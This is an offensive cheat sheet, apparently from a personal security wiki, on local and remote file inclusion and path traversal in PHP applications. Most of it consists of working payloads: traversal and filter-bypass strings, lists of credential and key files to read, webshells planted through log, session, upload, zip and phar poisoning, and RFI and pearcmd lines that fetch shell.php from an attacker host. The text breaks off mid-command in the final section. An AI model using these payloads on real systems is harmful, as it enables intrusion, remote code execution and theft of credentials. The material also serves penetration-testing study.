ᛉ Yggdrasil

Web

Local File Inclusion (LFI)

15 Sep 2026 · 5,251 words · 24 min

Contents

A complete operational reference for File Inclusion (LFI/RFI) and Path Traversal covering detection, fingerprinting, OS-specific traversal sequences, LFI-to-RCE chains (log poisoning, /proc, PHPInfo, session files, pearcmd, environ), Remote File Inclusion, filter bypass, wrapper abuse (php://, data://, expect://, zip://), automation with ffuf and Burp, and remediation. Mapped to MITRE ATT&CK T1190 / T1083 / T1005.


1. Core Concepts & Vulnerability Types

VULNERABILITY TAXONOMY:

FILE INCLUSION & PATH TRAVERSAL
├── PATH TRAVERSAL (Directory Traversal)
│   ├── Read arbitrary files outside web root via ../ sequences
│   ├── Linux/macOS: ../../../../etc/passwd
│   └── Windows:    ..\..\..\windows\win.ini
│
├── LOCAL FILE INCLUSION (LFI)
│   ├── PHP include()/require() with user input → reads & EXECUTES local file as PHP
│   ├── File read only (no execution) — still leaks source, secrets, keys
│   └── LFI → RCE chains (log poisoning, /proc, sessions, wrappers)
│
├── REMOTE FILE INCLUSION (RFI)
│   ├── PHP include() fetches a URL → attacker-controlled PHP executes on server
│   ├── Requires allow_url_include=On (disabled by default in PHP ≥ 5.2)
│   └── Rare but immediate RCE when present
│
└── PHP WRAPPER ABUSE
    ├── php://filter → read source code base64-encoded
    ├── php://input → POST body executed as PHP
    ├── data:// → inline PHP code execution
    ├── expect:// → direct OS command execution
    ├── zip:// / phar:// → execute PHP inside archives
    └── file:// → explicit local file inclusion

Key Terms: - Include Path — the argument to PHP include(), require(), include_once(), require_once() — if user-controlled, leads to LFI/RFI. - Path Traversal — using ../ or ..\ sequences to escape the intended directory and reach arbitrary filesystem paths. - Null Byte — %00 — terminates a C string. In older PHP (< 5.3.4), appending %00 truncates an extension added by the application (page.php%00 → page). - PHP Wrappers — PHP's stream abstraction layer. php://, data://, expect://, zip://, phar:// can all be used as include() arguments to trigger non-standard behavior. - Log Poisoning — inject PHP code into a log file (via User-Agent, SSH, SMTP), then include the log file via LFI to achieve RCE. - RFI — Remote File Inclusion — the server fetches and executes a PHP file from an attacker-controlled URL. - allow_url_include — PHP configuration directive (default: Off). Must be On for RFI and php://input / data:// wrappers to work. - allow_url_fopen — PHP configuration directive (default: On). Required for RFI; also enables file_get_contents('http://...').

Why It Happens:

// VULNERABLE — user input directly in include():
<?php
$page = $_GET['page'];
include($page . ".php");      // ?page=../../../../etc/passwd%00
include("pages/" . $page);   // ?page=../../../etc/passwd
?>

// VULNERABLE — no include(), but exposes file contents:
<?php
$file = $_GET['file'];
echo file_get_contents($file);   // direct file read, no execution
readfile($file);
highlight_file($file);
show_source($file);
fopen($file, 'r');
?>

// SAFE:
<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowed)) { die('Invalid page'); }
include("pages/" . $page . ".php");
?>

LFI vs Path Traversal: - Path Traversal: reads the raw file content — useful for config files, /etc/passwd, secrets. - LFI: reads AND executes the file as PHP if it ends with .php — enables RCE chains. - Both can exist without the other, but often appear together in PHP applications.


2. Detection & Fingerprinting

2.1 Common Injection Points

→ GET parameters:      ?page=home  ?file=report  ?path=docs/  ?template=main
→ POST parameters:     filename=, document=, include=, module=, section=
→ Cookie values:       lang=en  theme=dark  template=default
→ HTTP headers:        Referer (some apps include referrer path)
→ Path segments:       /files/download/invoice.pdf  /view/../../etc/passwd
→ JSON body:           {"report": "monthly", "format": "pdf"}
→ XML body:            <file>report.xml</file>
→ URL path:            /app/uploads/../../../etc/passwd
→ Content-Disposition: filename= in multipart uploads

2.2 Detection Probes — Path Traversal

Test with a file guaranteed to exist on every target OS:

# Linux — target /etc/passwd:
?file=../../../etc/passwd
?file=....//....//....//etc/passwd
?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
?file=..%2F..%2F..%2Fetc%2Fpasswd

# Windows — target windows\win.ini:
?file=..\..\..\windows\win.ini
?file=..%5C..%5C..%5Cwindows%5Cwin.ini
?file=....\\....\\....\\windows\\win.ini

# Confirm: response contains "root:" (Linux) or "[fonts]" (Windows)

2.3 Detection Probes — LFI (PHP)

# Basic LFI test — read /etc/passwd:
?page=../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=/etc/passwd

# LFI with extension appended by app (?page=X → include("pages/X.php")):
?page=../../../etc/passwd%00          # null byte (PHP < 5.3.4)
?page=../../../etc/passwd             # if no extension appended
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd

# Confirm LFI via source code read (no output if extension appended):
?page=php://filter/convert.base64-encode/resource=index
# → base64 response → decode → PHP source code

2.4 Error-Based Fingerprinting

# Inject invalid path — error reveals app behavior:
?page=/etc/DOESNOTEXIST12345

# Error messages to look for:
# "include(/var/www/html/pages/PAYLOAD.php): failed to open stream" → LFI + extension appended
# "include(PAYLOAD): failed to open stream: No such file"           → LFI, no extension
# "Warning: file_get_contents(PAYLOAD)"                             → file read (not LFI exec)
# "open_basedir restriction in effect"                              → PHP open_basedir set
# "allow_url_fopen must be enabled"                                 → RFI blocked
# No error, empty page                                              → errors suppressed; test blind

2.5 Blind Detection

When errors are suppressed:

# Compare known-good vs known-bad path:
?file=../../../etc/passwd       # length/content changes → file read
?file=../../../etc/DOESNOTEXIST # empty / shorter response

# Time-based (if app sleeps on missing files — rare but exists):
# No reliable generic method — use response length differential

# Canary file: if you have upload, upload a file with known content:
# Upload: shell.txt containing "CANARY123"
# Include: ?file=../uploads/shell.txt → look for "CANARY123"

3. Path Traversal — OS Payloads

3.1 Linux Traversal Sequences

Basic:
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd            # go deeper than needed — safe
../../../../../../../etc/passwd

URL-encoded (single):
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd

Double URL-encoded:
..%252F..%252F..%252Fetc%252Fpasswd     # %25 → % after first decode → ../
%252e%252e%252f%252e%252e%252fetc/passwd

Unicode / UTF-8 overlong:
..%c0%af..%c0%afetc%c0%afpasswd        # %c0%af = / (overlong)
..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd  # / fullwidth solidus

Mixed slash:
..\../etc/passwd
../.\../etc/passwd

Doubled dots bypass:
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

Absolute path (if no prefix prepended):
/etc/passwd
file:///etc/passwd

3.2 Windows Traversal Sequences

Basic (backslash):
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

Mixed slash:
../../../windows/win.ini
..\../windows\win.ini

URL-encoded:
..%5C..%5C..%5Cwindows%5Cwin.ini       # %5C = \
..%2F..%2F..%2Fwindows%2Fwin.ini       # %2F = /

Double URL-encoded:
..%255C..%255Cwindows%255Cwin.ini

UNC path (if app passes to file function):
\\attacker.com\share\file
\\127.0.0.1\c$\windows\win.ini

Windows device names (no path needed):
CON, PRN, AUX, NUL, COM1-9, LPT1-9

3.3 Depth-Aware Traversal

The number of ../ needed depends on where the app is in the filesystem:

App root: /var/www/html/         → 3 levels to /
App page: /var/www/html/pages/   → 4 levels to /
App deep: /var/www/html/a/b/c/   → 6 levels to /

Always overshoot — extra ../ at filesystem root is harmless:
../../../../../../../../../../etc/passwd     # safe to use 10+ levels

4. Local File Inclusion (LFI)

4.1 Basic LFI Payloads

# Direct inclusion (no suffix appended):
?page=../../../etc/passwd
?page=/etc/passwd              # if absolute path allowed
?page=....//....//etc/passwd   # filter bypass

# With .php suffix appended by app:
?page=../../../etc/passwd%00   # null byte (PHP < 5.3.4 only)
?page=../../../etc/passwd/./   # path normalization trick (rare)
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd  # bypasses extension

4.2 PHP Source Code Disclosure

Read PHP source without executing it:

# Base64 encode the file content — bypasses extension checks:
?page=php://filter/convert.base64-encode/resource=index
?page=php://filter/convert.base64-encode/resource=../config
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd

# Decode the base64 response:
echo "BASE64OUTPUT" | base64 -d

# Chain multiple filters:
?page=php://filter/read=string.rot13|convert.base64-encode/resource=index

# ROT13 only (simpler, no null bytes):
?page=php://filter/read=string.rot13/resource=config.php

4.3 LFI — Common PHP Files to Read

# Application config & source:
php://filter/convert.base64-encode/resource=config
php://filter/convert.base64-encode/resource=../config/database
php://filter/convert.base64-encode/resource=wp-config          # WordPress
php://filter/convert.base64-encode/resource=configuration      # Joomla
php://filter/convert.base64-encode/resource=../application/config/database  # CodeIgniter
php://filter/convert.base64-encode/resource=.env               # Laravel / general

# Auth/session handler:
php://filter/convert.base64-encode/resource=../includes/auth
php://filter/convert.base64-encode/resource=login

5. High-Value Target Files

5.1 Linux / Unix

# User & auth:
/etc/passwd                    # usernames, home dirs, shells
/etc/shadow                    # password hashes (requires root read)
/etc/group                     # group memberships
/etc/sudoers                   # sudo rules
/root/.ssh/id_rsa              # root SSH private key
/home/USER/.ssh/id_rsa         # user SSH private key
/home/USER/.ssh/authorized_keys

# System info:
/etc/hostname
/etc/hosts
/etc/os-release
/proc/version                  # kernel version
/proc/cmdline                  # kernel boot parameters

# Credentials in configs:
/etc/mysql/my.cnf              # MySQL credentials
/etc/mysql/mysql.conf.d/mysqld.cnf
/etc/postgresql/*/main/pg_hba.conf
/etc/phpmyadmin/config.inc.php

# Web server configs:
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/httpd/conf/httpd.conf     # CentOS/RHEL Apache

# Web server logs (for log poisoning):
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/access_log      # CentOS
/var/log/auth.log              # SSH auth log (poison via user field)
/var/log/syslog
/var/log/mail.log              # Mail log (poison via SMTP RCPT TO)
/var/log/vsftpd.log            # FTP log (poison via username)

# PHP:
/etc/php/*/apache2/php.ini     # PHP config — check allow_url_include
/etc/php/*/fpm/php.ini
/etc/php.ini

# SSH:
/etc/ssh/sshd_config

# Mail:
/etc/postfix/main.cf
/var/mail/root

5.2 PHP Session & Temp Files

# PHP session files (default location):
/var/lib/php/sessions/sess_SESSIONID
/tmp/sess_SESSIONID
/tmp/sessions/sess_SESSIONID

# PHPInfo output (if page exists):
/phpinfo.php
/info.php
/php_info.php
/test.php

# Upload temp dir (race condition RCE — see section 9):
/tmp/phpXXXXXX                 # auto-generated name

5.3 /proc Virtual Filesystem

# Self process:
/proc/self/cmdline             # current process command line
/proc/self/environ             # current process environment (may contain secrets)
/proc/self/fd/0                # stdin
/proc/self/fd/1                # stdout
/proc/self/fd/2                # stderr
/proc/self/fd/N                # file descriptor N (fd/10 etc.)
/proc/self/maps                # memory map — reveals binary paths and libraries
/proc/self/status              # PID, PPID, UID, GID
/proc/self/net/fib_trie        # internal IP addresses
/proc/self/net/tcp             # open TCP connections (hex format)
/proc/self/net/arp             # ARP table — other hosts in subnet
/proc/self/loginuid            # original login UID

# Find open file descriptors → enumerate logs and configs:
/proc/self/fd/0  through  /proc/self/fd/99
# Trick: /proc/self/fd/N for common FDs often points to open log files

5.4 Windows

# System:
C:\windows\win.ini
C:\windows\system.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

# IIS:
C:\inetpub\wwwroot\web.config          # app settings, connection strings, secrets
C:\windows\system32\inetsrv\config\applicationHost.config
C:\inetpub\logs\LogFiles\W3SVC1\*.log  # IIS access logs

# Credentials:
C:\windows\repair\SAM
C:\windows\system32\config\SAM
C:\windows\system32\config\SYSTEM
C:\windows\system32\config\SECURITY
C:\users\Administrator\NTUser.dat

# PHP on Windows:
C:\php\php.ini
C:\xampp\php\php.ini
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\wamp\logs\access.log

# Web configs:
C:\inetpub\wwwroot\global.asa
C:\inetpub\wwwroot\web.config

6. LFI to RCE — Log Poisoning

The technique: inject PHP code into a log file via a poisonable field (User-Agent, username, etc.), then include the log file via LFI to execute it.

6.1 Apache / Nginx Access Log Poisoning

# Step 1: Inject PHP into the User-Agent (or any reflected field):
curl -s "http://target.com/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"

# The log entry becomes:
# 10.0.0.1 - - [date] "GET / HTTP/1.1" 200 1234 "-" "<?php system($_GET['cmd']); ?>"

# Step 2: Include the access log via LFI + pass cmd parameter:
?page=../../../../var/log/apache2/access.log&cmd=id
?page=../../../../var/log/nginx/access.log&cmd=id

# Other log paths to try:
?page=../../../../var/log/httpd/access_log&cmd=id         # CentOS
?page=../../../../proc/self/fd/N&cmd=id                   # via /proc FD

# Notes:
# - Log must be readable by www-data (often is for access.log)
# - Payload persists in log until rotated
# - Use base64 to avoid log-breaking characters:
curl -H "User-Agent: <?php system(base64_decode(\$_GET['c'])); ?>" http://target.com/
?page=../../../../var/log/apache2/access.log&c=aWQ=        # base64("id")

6.2 SSH Log Poisoning (auth.log)

# Step 1: Inject PHP code into /var/log/auth.log via SSH username:
ssh '<?php system($_GET["cmd"]); ?>'@target.com
# → auth.log entry: "Invalid user <?php system($_GET["cmd"]); ?> from ..."

# Step 2: Include auth.log:
?page=../../../../var/log/auth.log&cmd=id

# Alternative — encode payload to avoid spaces:
ssh '<?php system($_REQUEST[1]); ?>'@target.com
?page=../../../../var/log/auth.log&1=id

6.3 SMTP / Mail Log Poisoning

# Connect to mail port and inject PHP in RCPT TO / MAIL FROM:
nc target.com 25
HELO attacker.com
MAIL FROM: attacker@attacker.com
RCPT TO: <?php system($_GET['cmd']); ?>
DATA
.
QUIT

# Then include:
?page=../../../../var/log/mail.log&cmd=id
?page=../../../../var/log/mail&cmd=id

6.4 FTP Log Poisoning

# Login to FTP with PHP payload as username:
ftp target.com
Username: <?php system($_GET['cmd']); ?>
Password: anything

# Then include:
?page=../../../../var/log/vsftpd.log&cmd=id

7. LFI to RCE — /proc & /environ

7.1 /proc/self/environ

# /proc/self/environ contains environment variables of the running PHP process.
# Inject PHP into an env var the web server populates from user input (HTTP_USER_AGENT):

curl -s "http://target.com/?page=../../../proc/self/environ" \
     -H "User-Agent: <?php system(\$_GET['cmd']); ?>"

# If environ is readable AND PHP processes the file:
?page=../../../../proc/self/environ&cmd=id

# Note: Requires /proc/self/environ to be readable by www-data
# Modern systems often restrict this (root-only)
# Fallback: check /proc/self/fd/* for open file handles to readable files

7.2 /proc/self/fd — Open File Descriptors

# The web process keeps open file handles to log files.
# Enumerate /proc/self/fd/ to find which FD points to a poisonable log:

?page=../../../../proc/self/fd/0
?page=../../../../proc/self/fd/1
?page=../../../../proc/self/fd/2
?page=../../../../proc/self/fd/3
... (iterate up to fd/20 or more)

# Once you find the access log FD (it will show the log content):
# 1. Poison via User-Agent (Section 6.1)
# 2. Include via the FD:
?page=../../../../proc/self/fd/N&cmd=id

# Check /proc/self/maps to identify open files:
?page=../../../../proc/self/maps

8. LFI to RCE — PHP Session Files

8.1 Session File Poisoning

PHP stores session data in files. If any session variable is user-controlled and stored, inject PHP code there.

# Step 1: Find a parameter stored in the session.
# Look for login forms, preferences, profile fields that persist across requests.

# Step 2: Set the session variable to PHP code:
# In a username field:
POST /login HTTP/1.1
username=<?php system($_GET['cmd']); ?>&password=anything

# Step 3: Note your session ID from the Set-Cookie header:
# Set-Cookie: PHPSESSID=abc123def456

# Step 4: Include the session file:
?page=../../../../var/lib/php/sessions/sess_abc123def456&cmd=id
?page=../../../../tmp/sess_abc123def456&cmd=id
?page=../../../../tmp/sessions/sess_abc123def456&cmd=id

# Common session file locations:
/var/lib/php/sessions/sess_SESSIONID
/var/lib/php/session/sess_SESSIONID
/tmp/sess_SESSIONID
/tmp/php_sessions/sess_SESSIONID

# session.save_path from phpinfo or php.ini tells you the exact path.

9. LFI to RCE — PHPInfo() Race

When a PHPInfo page is accessible, PHP temporarily stores uploaded files in /tmp/phpXXXXXX before the script decides to move or delete them. Race condition: include the temp file before PHP deletes it.

# Requires:
# 1. PHPInfo() page accessible (e.g. /phpinfo.php)
# 2. LFI vulnerability in another page
# 3. Temp file name visible in PHPInfo output under $_FILES

# Step 1: Upload a file containing PHP code while simultaneously reading PHPInfo:
# The multipart upload creates /tmp/phpXXXXXX containing your payload

# Step 2: PHPInfo page reveals the temp filename:
# $_FILES["file"]["tmp_name"] = /tmp/phpXXXXXX

# Step 3: Race to include it before deletion:
?page=../../../../tmp/phpXXXXXX

# Automation: use phpInfoLFI.py (Gynvael Coldwind's PoC):
python phpInfoLFI.py target.com 80 /phpinfo.php /lfi.php

# Manual race with threading:
# Send upload request + LFI request simultaneously in a tight loop

10. LFI to RCE — pearcmd & Other Tricks

10.1 pearcmd (Docker / Register_argc_argv)

When register_argc_argv = On (common in Docker images), the PEAR command-line tool can be invoked via LFI to create files.

# Requires: register_argc_argv=On, pear installed (common in PHP Docker images)
# pearcmd.php is often at /usr/local/lib/php/pearcmd.php

# Use pearcmd to write a webshell via the "download" or "install" command:
?page=../../../../usr/local/lib/php/pearcmd&+install+-R+/tmp+http://ATTACKER.COM/shell.php

# Alternative — use config-create to write arbitrary file:
?page=../../../../usr/local/lib/php/pearcmd&+config-create+/&/tmp/shell.php

# Then include the written shell:
?page=../../../../tmp/shell.php&cmd=id

# Docker PHP images that commonly have this:
# php:7.x, php:8.x official images with pear

10.2 Nginx Temp Files (Upload Race)

# When Nginx buffers large request bodies to disk:
# /var/lib/nginx/body/NNNN — temp files for buffered request bodies

# 1. Send large POST containing PHP payload (padding + PHP code)
# 2. Race to include /var/lib/nginx/body/ files while request is in flight

# Enumerate temp files:
?page=../../../../var/lib/nginx/body/1234567890

10.3 File Upload + LFI

# If upload is possible (even with content-type/extension restrictions):
# Upload image with PHP code embedded:

# Create a polyglot JPG/PHP:
echo -e "\xFF\xD8\xFF\xE0<?php system(\$_GET['cmd']); ?>" > shell.jpg
# Or embed in EXIF data:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

# Upload the file, note its stored path (e.g. /uploads/shell.jpg)
# Include it via LFI:
?page=../../../../var/www/html/uploads/shell.jpg&cmd=id

11. PHP Wrappers & Stream Filters

11.1 php://filter — Read Source Without Execution

# Base64 encode (most common — bypasses extension filter and binary issues):
?page=php://filter/convert.base64-encode/resource=index
?page=php://filter/convert.base64-encode/resource=config
?page=php://filter/convert.base64-encode/resource=/etc/passwd

# ROT13 (human-readable, no base64 decode needed):
?page=php://filter/read=string.rot13/resource=index.php

# Chain filters:
?page=php://filter/convert.iconv.UTF-8.UTF-16/convert.base64-encode/resource=index

# zlib compression (smaller output):
?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
# Decode: echo "B64" | base64 -d | python3 -c "import zlib,sys; print(zlib.decompress(sys.stdin.buffer.read()).decode())"

# Iconv filter (bypass some WAFs looking for base64-encode keyword):
?page=php://filter/convert.iconv.UTF-8.UTF-7/resource=index.php

11.2 php://filter — RCE via Filter Chain (PHP 8 / iconv gadgets)

PHP filter chains can generate arbitrary strings from a blank resource — no file write needed:

# Tool: php_filter_chain_generator (loknop)
# Generates a filter chain that outputs any PHP code when included

python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
# → Outputs a long php://filter/... payload

# Use output as the LFI page parameter:
?page=php://filter/convert.iconv.UTF-8.CSISO2022KR|convert.base64-encode|...[chain]...|convert.base64-decode/resource=php://temp&cmd=id

# No existing file required — the chain generates the payload from thin air.
# Works on PHP ≥ 7 with iconv installed.

11.3 php://input — Execute POST Body as PHP

# Requires: allow_url_include=On
# Send PHP code in POST body; include php://input to execute it:

curl -s "http://target.com/?page=php://input" \
     --data '<?php system($_GET["cmd"]); ?>' \
     -G --data-urlencode "cmd=id"

# Simple POST:
POST /?page=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

<?php system('id'); ?>

11.4 data:// — Inline PHP Execution

# Requires: allow_url_include=On

# Plain PHP:
?page=data://text/plain,<?php system('id'); ?>

# Base64 encoded (avoids character issues):
# Encode: echo -n '<?php system($_GET["cmd"]); ?>' | base64
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id

# URL-encoded data:
?page=data:text/plain,%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E

11.5 expect:// — Direct OS Command (Requires expect extension)

# Requires: PHP expect extension installed (rare, but present in some configs)
?page=expect://id
?page=expect://whoami
?page=expect://cat+/etc/passwd

11.6 file:// — Explicit File Inclusion

# Explicit protocol (sometimes bypasses relative path checks):
?page=file:///etc/passwd
?page=file:///var/www/html/config.php
?page=file://localhost/etc/passwd

12. Remote File Inclusion (RFI)

12.1 Basic RFI

# Requires: allow_url_include=On (PHP default: Off since PHP 5.2)

# Host a PHP webshell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 8080

# Include your remote file:
?page=http://ATTACKER_IP:8080/shell.php&cmd=id
?page=http://ATTACKER_IP:8080/shell.php%00&cmd=id    # null byte if .php appended
?page=ftp://ATTACKER_IP/shell.php                    # via FTP
?page=\\ATTACKER_IP\share\shell.php                  # Windows UNC (SMB)

# HTTPS:
?page=https://ATTACKER_IP/shell.php&cmd=id

12.2 RFI Bypasses

# If http:// is blocked — try HTTPS, FTP, UNC:
?page=https://ATTACKER_IP/shell.php
?page=ftp://ATTACKER_IP/shell.php
?page=\\ATTACKER_IP\share\shell                       # Windows

# If URL scheme filter strips http://:
?page=HTTP://ATTACKER_IP/shell.php                   # uppercase
?page=hhttp://ATTACKER_IP/shell.php                  # double-h (rare filter bypass)
?page=http://127.0.0.1@ATTACKER_IP/shell.php         # credentials bypass
?page=//ATTACKER_IP/shell.php                        # protocol-relative

# SMB/UNC bypass (Windows):
?page=\\ATTACKER_IP\share\shell.php
?page=/////ATTACKER_IP/share/shell.php

12.3 Detect RFI

# Check if allow_url_include is On:
# 1. Read php.ini via LFI and grep for allow_url_include
# 2. PHPInfo() page — search "allow_url_include"
# 3. Try RFI — if it fetches your server → RFI confirmed

# Set up listener and see if request arrives:
python3 -m http.server 8080
?page=http://ATTACKER_IP:8080/test.php

# If Apache/Nginx log shows GET /test.php → RFI confirmed

13. Null Byte & Extension Bypass

13.1 Null Byte Truncation (PHP < 5.3.4)

# When app appends extension: include($input . ".php")
# Null byte terminates the string before the extension:
?page=../../../etc/passwd%00
?page=../../../etc/passwd\0        # literal null (URL-encode to %00)

# With path traversal:
?page=../../../../etc/passwd%00
?page=php://filter/convert.base64-encode/resource=../../../../etc/passwd%00

13.2 Modern Extension Bypasses (PHP ≥ 5.3.4)

# Null byte no longer works in modern PHP. Alternatives:

# Use php://filter — doesn't matter what extension is appended:
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd
# App turns this into: php://filter/.../resource=../../../etc/passwd.php
# PHP ignores the .php appended after /resource=... in some contexts

# Path truncation (very long filename, old systems):
?page=../../../etc/passwd/././././././././././././././././././././././.
# PHP on some configs truncates the path at 4096 chars

# Double extension (if app strips last extension):
?page=../../../etc/passwd.jpg.php   # if app strips .php → reads .jpg as PHP

14. Filter Bypass Techniques

14.1 Bypass Simple String Filters

# Filter strips "../":
....//....//....//etc/passwd          # collapse to ../ after strip
..././..././..././etc/passwd          # /./ collapses too
%2e%2e%2f%2e%2e%2fetc%2fpasswd       # URL encoded — decoded by web server
..%2F..%2Fetc%2Fpasswd               # mixed encoding

# Filter strips "..":
.....///.....///.....///etc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd

# Filter strips "/" only:
..\..\..\etc\passwd                  # use backslash
..%5C..%5Cetc%5Cpasswd              # URL-encoded backslash

# Filter checks start of path (must begin with /var/www):
/var/www/../../etc/passwd
/var/www/%2e%2e/%2e%2e/etc/passwd

14.2 Bypass Keyword Filters

# Filter blocks "etc/passwd":
/etc/./passwd                        # extra ./ in path
/etc//passwd                         # double slash
/etc/passwd%00                       # null byte suffix
%2fetc%2fpasswd                      # URL encoded
/etc/PASSWD                          # case variation (case-insensitive FS)

# Filter blocks "php://":
PHP://filter/...                     # uppercase
php:%2F%2Ffilter/...                 # URL encode slashes

14.3 Double URL Encoding

# Web server decodes once, app decodes again:
..%252F..%252F..%252Fetc%252Fpasswd
# First decode:  ..%2F..%2F..%2Fetc%2Fpasswd
# Second decode: ../../../etc/passwd

%252e%252e%252f%252e%252e%252fetc/passwd

14.4 Unicode & Alternate Encodings

# Overlong UTF-8 (classic):
%c0%af  → /     (overlong slash)
%c1%9c  → \     (overlong backslash)

# Fullwidth characters:
%2e%2e/  → ../
$_GET        → PHP variable (some Unicode confusion attacks)

# IIS-specific:
%c0%2f          → / (IIS decoding quirk)
%e0%80%af       → / (another overlong)

15. Zip / Phar Wrappers

15.1 zip:// Wrapper

# Requires: PHP with zip extension (common)
# Upload a ZIP containing a PHP shell:

# Step 1: Create ZIP with PHP file inside:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.zip shell.php

# Step 2: Upload shell.zip (may pass as benign ZIP)

# Step 3: Reference PHP file inside the ZIP via LFI:
?page=zip://uploads/shell.zip%23shell.php&cmd=id
# Note: %23 = # (fragment separator in URL, hash in zip:// path)
# zip://PATH_TO_ZIP#FILE_INSIDE_ZIP

# With absolute path:
?page=zip:///var/www/html/uploads/shell.zip%23shell.php

15.2 phar:// Wrapper

# phar:// can reference files inside PHAR archives (similar to ZIP)
# PHAR files can be disguised as other types (JPG, GIF, etc.)

# Step 1: Create PHAR with PHP payload:
php -r "
\$p = new Phar('shell.phar', 0, 'shell.phar');
\$p->startBuffering();
\$p->setStub('<?php __HALT_COMPILER(); ?>');
\$p['shell.php'] = '<?php system(\$_GET[\"cmd\"]); ?>';
\$p->stopBuffering();
"

# Rename to evade upload filter:
mv shell.phar shell.jpg

# Step 2: Upload shell.jpg (passes image check if no content inspection)

# Step 3: Include via phar://:
?page=phar://uploads/shell.jpg/shell.php&cmd=id

# Note: phar:// also works for deserialization gadgets in PHP object injection

16. Windows-Specific Techniques

16.1 Windows Path Traversal

# Basic:
?file=..\..\..\windows\win.ini
?file=../../../windows/win.ini          # forward slash works on Windows too

# UNC path for SMB:
?file=\\ATTACKER_IP\share\shell.php     # RFI via SMB (allow_url_include=On)
?file=//ATTACKER_IP/share/file.txt      # SMB read
# → Also triggers NTLM hash capture if app connects to attacker SMB:
# Responder.py -I eth0 -wrf                # capture Net-NTLM hash

# Windows device files (no extension needed, accessible from any path):
?file=../../windows/system32/CON
# NUL, CON, PRN, AUX, COM1-9, LPT1-9 — may cause hangs or errors

16.2 IIS Short Name (8.3) Bypass

# Windows NTFS allows 8.3 short names for all files:
# web.config → WEB~1.CON
# secret.txt → SECRET~1.TXT

?file=WEB~1.CON           # reads web.config on IIS
?file=../SECRET~1.TXT

# Enumerate 8.3 names with iis-shortname-scanner:
java -jar iis-shortname-scanner.jar target.com /

16.3 IIS Log Poisoning

# IIS access logs:
?file=../../../../inetpub/logs/LogFiles/W3SVC1/u_exYYMMDD.log

# Inject into User-Agent header:
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/

# Note: IIS doesn't execute PHP by default — check if PHP is installed.
# For ASP/ASPX targets, inject ASP code instead:
curl -H "User-Agent: <% Response.Write(CreateObject(\"WScript.Shell\").Exec(\"cmd.exe /c whoami\").StdOut.ReadAll) %>" http://target.com/

17. Automation — ffuf, Burp & Tools

17.1 ffuf — Path Traversal Fuzzing

# Wordlist fuzzing for path traversal:
ffuf -u "http://target.com/index.php?file=FUZZ" \
     -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -fs 0 -fc 404

# With traversal sequences:
ffuf -u "http://target.com/index.php?file=../../../FUZZ" \
     -w /usr/share/wordlists/seclists/Discovery/Web-Content/Linux-paths.txt \
     -mr "root:" -fs 0

# Fuzz both parameter name and value:
ffuf -u "http://target.com/index.php?FUZZ=../../../etc/passwd" \
     -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -mr "root:"

# POST parameter fuzzing:
ffuf -u "http://target.com/api/file" \
     -X POST \
     -d "file=FUZZ" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -fs 0

17.2 Burp Suite

MANUAL TESTING WORKFLOW:
1. Intercept request in Proxy
2. Send to Intruder (Ctrl+I)
3. Mark parameter value as payload position
4. Payload type: Simple list
5. Load: SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
6. Grep → Match: "root:" or "[fonts]"
7. Start attack → filter by Grep match

ACTIVE SCANNER:
Scanner → right-click request → "Actively scan this insertion point"
→ Scanner detects Path Traversal and LFI natively

BURP EXTENSIONS (BApp Store):
- Backslash Powered Scanner: finds path traversal via backslash variants
- LFI Scanner: dedicated LFI detection
- Upload Scanner: tests uploaded files for LFI/RCE

17.3 LFISuite / Kadimus

# LFISuite — automated LFI exploitation:
python2 lfisuite.py
# → Enter URL, parameter, auto-tests traversal depths, wrappers, RCE methods

# Kadimus — LFI scanner and exploiter:
./kadimus -u "http://target.com/?page=INJECT" -C "id"
./kadimus -u "http://target.com/?page=INJECT" --rce
./kadimus -u "http://target.com/?page=INJECT" --lfi-list payloads.txt

17.4 Wfuzz

# Fuzz for LFI parameter name:
wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
      --hc 404 --hs "Not Found" \
      "http://target.com/?FUZZ=../../../etc/passwd"

# Fuzz traversal depth:
wfuzz -c -z list,1-2-3-4-5-6-7-8-9-10 \
      "http://target.com/?file=$(python3 -c "print('../'*FUZZ)")etc/passwd"

17.5 curl One-Liners

# Quick path traversal check:
for i in 1 2 3 4 5 6 7 8; do
